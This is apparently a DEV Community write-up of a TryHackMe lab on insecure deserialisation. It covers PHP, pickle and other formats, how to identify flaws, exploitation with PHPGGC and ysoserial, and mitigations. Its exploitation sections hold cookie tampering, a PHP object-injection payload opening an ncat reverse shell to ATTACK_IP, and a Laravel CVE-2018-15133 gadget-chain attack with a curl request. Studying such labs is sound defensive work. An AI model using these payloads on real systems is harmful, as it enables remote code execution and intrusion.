DEV Community

Cover image for TryHackMe: Insecure Deserialisation
Sean Lee
Sean Lee

Posted on

TryHackMe: Insecure Deserialisation

Serialisation

Serialisation is just like taking different pieces of information (like notes) and putting them together to make them easy to store or send to a friend.

Serialisation is the process of transforming an object's state into a human-readable or binary format (or a mix of both) that can be stored or transmitted and reconstructed as and when required.

Image description

Example:

<?php
$noteArray = array("title" => "My THM Note", "content" => "Welcome to THM!");
$serialisedNote = serialize($noteArray);  // Converting the note into a storable format
file_put_contents('note.txt', $serialisedNote);  // Saving the serialised note to a file
?>
Enter fullscreen mode Exit fullscreen mode

Serialised Note: a:2:{s:5:"title";s:12:"My THM Note";s:7:"content";s:12:"Welcome to THM!";}

Deserialisation

Deserialisation is like unpacking your school bag when you get to class; you take out each item so you can use it throughout the day. As you unpack your bag to get your books and lunch, deserialisation takes the packed-up data and turns it back into something you can use.

Deserialisation is the process of converting the formatted data back into an object.

Image description

Example:

<?php
$serialisedNote = file_get_contents('note.txt');  // Reading the serialised note from the file
$noteArray = unserialize($serialisedNote);  // Converting the serialised string back into a PHP array
echo "Title: " . $noteArray['title'] . "<br>";
echo "Content: " . $noteArray['content'];
?>
Enter fullscreen mode Exit fullscreen mode

Serialisation Formats

PHP

  • Uses the serialize() function

Example, where a PHP class called Notes to represent each note and handle serialisation and deserialisation:

class Notes {
    public $Notescontent;

    public function __construct($content) {
        $this->Notescontent = $content;
    }
}
Enter fullscreen mode Exit fullscreen mode

Code that serialises the Notes class object:

$note = new Notes("Welcome to THM");
$serialized_note = serialize($note);
Enter fullscreen mode Exit fullscreen mode

you enter the string Welcome to THM, it will generate the output O:5:"Notes":1:{s:7:"content";s:14:"Welcome to THM";}.

decode the output:

  • O:5:"Notes":1:: This part indicates that the serialised data represents an object of the class Notes, which has one property.
  • s:7:"content": This represents the property name "content" with a length of 7 characters. In serialised data, strings are represented with s followed by the length of the string and the string in double quotes. Integers are represented with i followed by the numeric value without quotes.
  • s:14:"Welcome to THM": This is the value of the **content **property, with a length of 14 characters.

More Important Methods

  • __sleep(): This method is called on an object before serialisation. It can clean up resources, such as database connections, and is expected to return an array of property names that should be serialised.
  • __wakeup(): This method is invoked upon deserialisation. It can re-establish any connections that the object might need to operate correctly.
  • __serialize(): As of PHP 7.4, this method enables you to customise the serialisation data by returning an array representing the object's serialised form.
  • __unserialize(): This counterpart to __serialize() allows for customising the restoration of an object from its serialised data.

Python

  • Uses Pickle to serialise and deserialise objects.

Here is the code snippet from the app.py class:

import pickle
import base64

...
serialized_data = request.form['serialized_data']
notes_obj = pickle.loads(base64.b64decode(serialized_data))
message = "Notes successfully unpickled."
...

elif request.method == 'POST':
    if 'pickle' in request.form:
        content = request.form['note_content']
        notes_obj.add_note(content)
        pickled_content = pickle.dumps(notes_obj)
        serialized_data = base64.b64encode(pickled_content).decode('utf-8')
        binary_data = ' '.join(f'{x:02x}' for x in pickled_content)
        message = "Notes pickled successfully."

Enter fullscreen mode Exit fullscreen mode

Serialisation occurs using function pickle.dumps(), then encoded into base64 using base64.b64encode() for security.

To deserialise, it is base64 decoded using base64.b64decode() then deserialised using pickle.loads().

  • Pickling: When astring is pickled, it is converted into a binary format that is not human-readable. This binary format contains information about the data type, the data itself, and other necessary metadata to reconstruct the object.

  • Base64 encoding: The binary form of the pickled data is then encoded into a Base64 string, which might look something like gASVIQAAAAAAAACMBFdlbGNvbWXCoGFkZYFdcQAu.

Eolution of Serialization in .NET and Ruby

  • .NET Serialization

    • BinaryFormatter: Previously used for binary serialization, now discouraged due to security risks.
    • Modern Alternatives:
    • System.Text.Json for JSON serialization.
    • System.Xml.Serialization for XML processing.
    • Trend: Shift towards safer, standardized data formats.
  • Ruby Serialization

    • Marshal: Used for object serialization and deserialization.
    • YAML: Preferred for human-readable data storage and interchange.

Identification

With Source Code Access

  • Look for functions like serialize(), unserialize(), and pickle.loads()

Without Source Code Access

Understanding the Challenge

  • Without source code access, testing relies on external observations.
  • Identifying serialization usage and vulnerabilities requires analyzing responses and stored data.

Analysing Server Responses

  • Error Messages
    • Look for errors mentioning unserialize() or Object deserialization error.
    • Such messages hint at serialization processes that could be exploitable.
  • Application Behaviour
    • Modifying inputs (cookies, POST data) and observing inconsistencies can reveal serialization flaws.

Examining Cookies for Serialization

  • Base64 Encoded Values
    • PHP and .NET often store serialized data in base64 format within cookies.
    • Decoding may expose structured serialized objects.
  • ASP.NET View State (__VIEWSTATE)
    • A base64-encoded field used in .NET applications.
    • Analyzing its contents can reveal serialized data that might be manipulated.

As a pentester, appending a tilde ~ at the end of a PHP file name is a common technique attackers use to try to access backup or temporary files created by text editors or version control systems. When a file is edited or saved, some text editors or version control systems may make a backup copy of the original file with a tilde appended to the file name.


Exploitation 1: Update Properties

Inspect element tab for viewing cookies

  • Serialised cookie: After decoding the base64-encoded cookie value, we obtain the following serialised representation of the Notes object:

O:5:"Notes":3:{s:4:"user";s:5:"guest";s:4:"role";s:5:"guest";s:12:"isSubscribed";b:0;}

Breakdown:

  • O:5:"Notes":3: This represents an object (O) with the class name Notes, which has three properties.
  • s:4:"user";s:5:"guest": This indicates a string (s) with a length of 4 characters, representing the property user with the value "guest".
  • s:4:"role";s:5:"guest": Similar to the previous one, it represents the property role with the value "guest".
  • s:12:"isSubscribed";b:0: This represents a boolean (b) property named isSubscribed with the value of false (0).

To exploit this, simply change the b:0 to b:1, returning true for the isSubscribed property, encode it back to base64 and use it as the cookie.

--

Exploitation 2: Object Injection

Object injection is a vulnerability that arises from insecure data deserialisation in web applications. It occurs when untrusted data is deserialised into an object, allowing attackers to manipulate the serialised data to execute arbitrary code, leading to serious security risks.

To exploit a PHP Object Injection vulnerability, the application should include a class featuring a PHP magic method (like __wakeup or __sleep) that can be exploited for malicious purposes. All classes involved in the attack should be declared before calling the unserialize() method (unless object autoloading is supported).

Example below shows code that deserialises input directly:

<?php
class UserData {
    private $data;
    public function __construct($data) {
        $this->data = $data;
    }
..
require 'test.php';
if(isset($_GET['encode'])) {
    $userData = new UserData($_GET['encode']);
    $serializedData = serialize($userData);
    $base64EncodedData = base64_encode($serializedData);
    echo "Normal Data: " . $_GET['encode'] . "<br>";
    echo "Serialized Data: " . $serializedData . "<br>";
    echo "Base64 Encoded Data: " . $base64EncodedData;

} elseif(isset($_GET['decode'])) {
    $base64EncodedData = $_GET['decode'];
    $serializedData = base64_decode($base64EncodedData);
    $test = unserialize($serializedData);
    echo "Base64 Encoded Serialized Data: " . $base64EncodedData . "<br>";
    echo "Serialized Data: " . $serializedData;

...
Enter fullscreen mode Exit fullscreen mode

Additionally, given a function __wakeup() is used to execute the command property:

<?php
class MaliciousUserData {
public $command = 'ncat -nv ATTACK_IP 10.10.10.1 -e /bin/sh'; // call to troubleshooting server

    public function __wakeup() { 
    exec($this->command);
...

?>
Enter fullscreen mode Exit fullscreen mode

We can exploit this by preparing the payload:

<?php
class MaliciousUserData {
public $command = 'ncat -nv ATTACK_IP 4444 -e /bin/sh';
}

$maliciousUserData = new MaliciousUserData();
$serializedData = serialize($maliciousUserData);
$base64EncodedData = base64_encode($serializedData);
echo "Base64 Encoded Serialized Data: " . $base64EncodedData;
?>
Enter fullscreen mode Exit fullscreen mode

Execute this by php -a, then paste in the code to get the encoded and serialised data, then send request to decode it server-side.


Automation Scripts

PHP Gadget Chain (PHPGGC) for PHP

  • Provides librray of gadget chains
  • Generates payload
  • Customisable payload

Can be downlaoded here.

php phpggc -l to list out all gadget chains. Example output:

Gadget Chains
-------------

NAME                                      VERSION                                                 TYPE                      VECTOR          I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                      RCE: Command              __destruct           
CakePHP/RCE1                              ? <= 3.9.6                                              RCE: Command              __destruct           
CakePHP/RCE2                              ? <= 4.2.3                                              RCE: Command              __destruct           
CodeIgniter4/FD1                          <= 4.3.6                                                File delete               __destruct           
CodeIgniter4/FD2                          <= 4.3.7                                                File delete               __destruct           
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                          File read                 __toString      *    
CodeIgniter4/RCE1                         4.0.2                                                   RCE: Command              __destruct           
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                     RCE: Command              __destruct           
CodeIgniter4/RCE3                         4.0.4 <= 4.4.3                                          RCE: Command              __destruct           
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                              RCE: Command              __destruct
Enter fullscreen mode Exit fullscreen mode

The output for CakePHP/RCE1 means that the gadget chain named CakePHP/RCE1 exploits an RCE vulnerability in CakePHP versions of up to 3.9.6. This vulnerability allows attackers to execute arbitrary commands on the server by leveraging the __destruct magic method.

Exploitation (CVE-2018-15133)

Details about vulnerability here.

The details regarding the vulnerability can be read from the Laravel security release, but our main focus will be how we can utilise PHP gadget chains during exploitation. The vulnerability mentioned above can be exploited using three main factors:

  • Step 1: Requires APP_KEY from Laravel, which the framework uses to encrypt the XSRF token.
  • Step 2: Use PHPGGC to generate an unserialised payload executing a command. This is considered a complex task, and the tool comes to the rescue.
  • Step 3: Finally, we must encrypt the payload using the APP_KEY and send the POST request. This usually varies from framework to framework.

php phpggc -l Laravel to list all gadget chains.

php phpggc -b Laravel/RCE3 system "whoami" to use a gadget chain to create a payload. This example shows the usage of Laravel/RCE3 executing tehc ommand whoami on the system with the option of -b.

Send the paylaod along with APP_KEY. This example sends them in the URL like so:

http://WEBSITE/cve.php?app_key=xx&payload=xxx.

After that, retrieve the token, then do a cURL request like so:

curl 10.10.207.82:8089 -X POST -H 'X-XSRF-TOKEN: eyJpdiI6Im01dXZ0QXhrVm5iUHFOZWxCSnFINHc9PSIsInZhbHVlIjoiSWxhVDZZXC9cL0dyTTNLQVVsNVN6cGpFRXdYeDVqN1RcL3d0Umhtcnd2TzlVM1I5SnZ3OVdyeVFjU3hwbFwvS2dvaUF5ZlpTcW04eThxdXdQVWE5K08xSWU4Q1FWMG5GVjhlKzJkdEUwUnhXYXNuamFaWDI4bXFIZ1FaOHRWRGtVaE1EVGRxeE8xcGp0MWc0ZjNhMU5cL1BWdlQ0ZjdwdmRJWHRFYXR1YUUyNUNHTG0rRlNqWkxDSU9vSlI1MGhUNmtFQytpdnVmTnRlTVFNKzZhRDQ0amhBRXNGaUZMcmplMWdQajhINDBsY05sNis2d28rdktGNU04bklIdEUrVGczR3hseXQ0eEF4RjJoSU1oYXZVU3ZhSk1CUjlEKzZzaEdJRHk5RXlscjhOSUh5bjl0MitUeEx2Y281VTZUY29Ea0kyRiIsIm1hYyI6ImE1OGY2MjBhZThmYjdhMTgyMzA1M2IwNGExZmJkZTMzOTA2ZDBhMDI5N2Y3OWQzNDYwNzJjZTgyNjIzNmFhMTMifQ==' > output.txt

This sends a POST request to the website with the token, and outputs are added into the output.txt file.

Ysoserial for Java

To use Ysoserial, an attacker would typically generate a payload with a command such as java -jar ysoserial.jar [payload type] '[command to execute]', where [payload type] is the type of exploit and [command to execute] is the arbitrary command they wish to run on the target system. For example, using the CommonsCollections1 payload type might look like this: java -jar ysoserial.jar CommonsCollections1 'calc.exe'. This command generates a serialised object that will execute the specified command when deserialised by a vulnerable application. Ysoserial is available for downloadon GitHub.


Mitigation Measures

Red Teamer / Pentester Perspective

  • Codebase analysis: Identify deserialization points in the application's codebase.
  • Vulnerability identification: Use static analysis tools to detect insecure deserialization vulnerabilities.
  • Fuzzing and dynamic analysis: Generate unexpected input data to test application behavior.
  • Error handling assessment: Check for error messages or stack traces that reveal system details.

Secure Coder Perspective

  • Avoid insecure serialization formats: Prefer JSON or XML over Java serialization.
  • Avoid eval() and exec(): Prevent execution of arbitrary code.
  • Input validation & output encoding: Ensure only expected data is accepted and sanitized.
  • Secure coding practices: Follow security principles like least privilege and defense in depth.
  • Adherence to guidelines: Follow security best practices for the chosen language or framework.

Hostinger image

Get n8n VPS hosting 3x cheaper than a cloud solution

Get fast, easy, secure n8n VPS hosting from $4.99/mo at Hostinger. Automate any workflow using a pre-installed n8n application and no-code customization.

Start now

Top comments (0)

Billboard image

The Next Generation Developer Platform

Coherence is the first Platform-as-a-Service you can control. Unlike "black-box" platforms that are opinionated about the infra you can deploy, Coherence is powered by CNC, the open-source IaC framework, which offers limitless customization.

Learn more

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay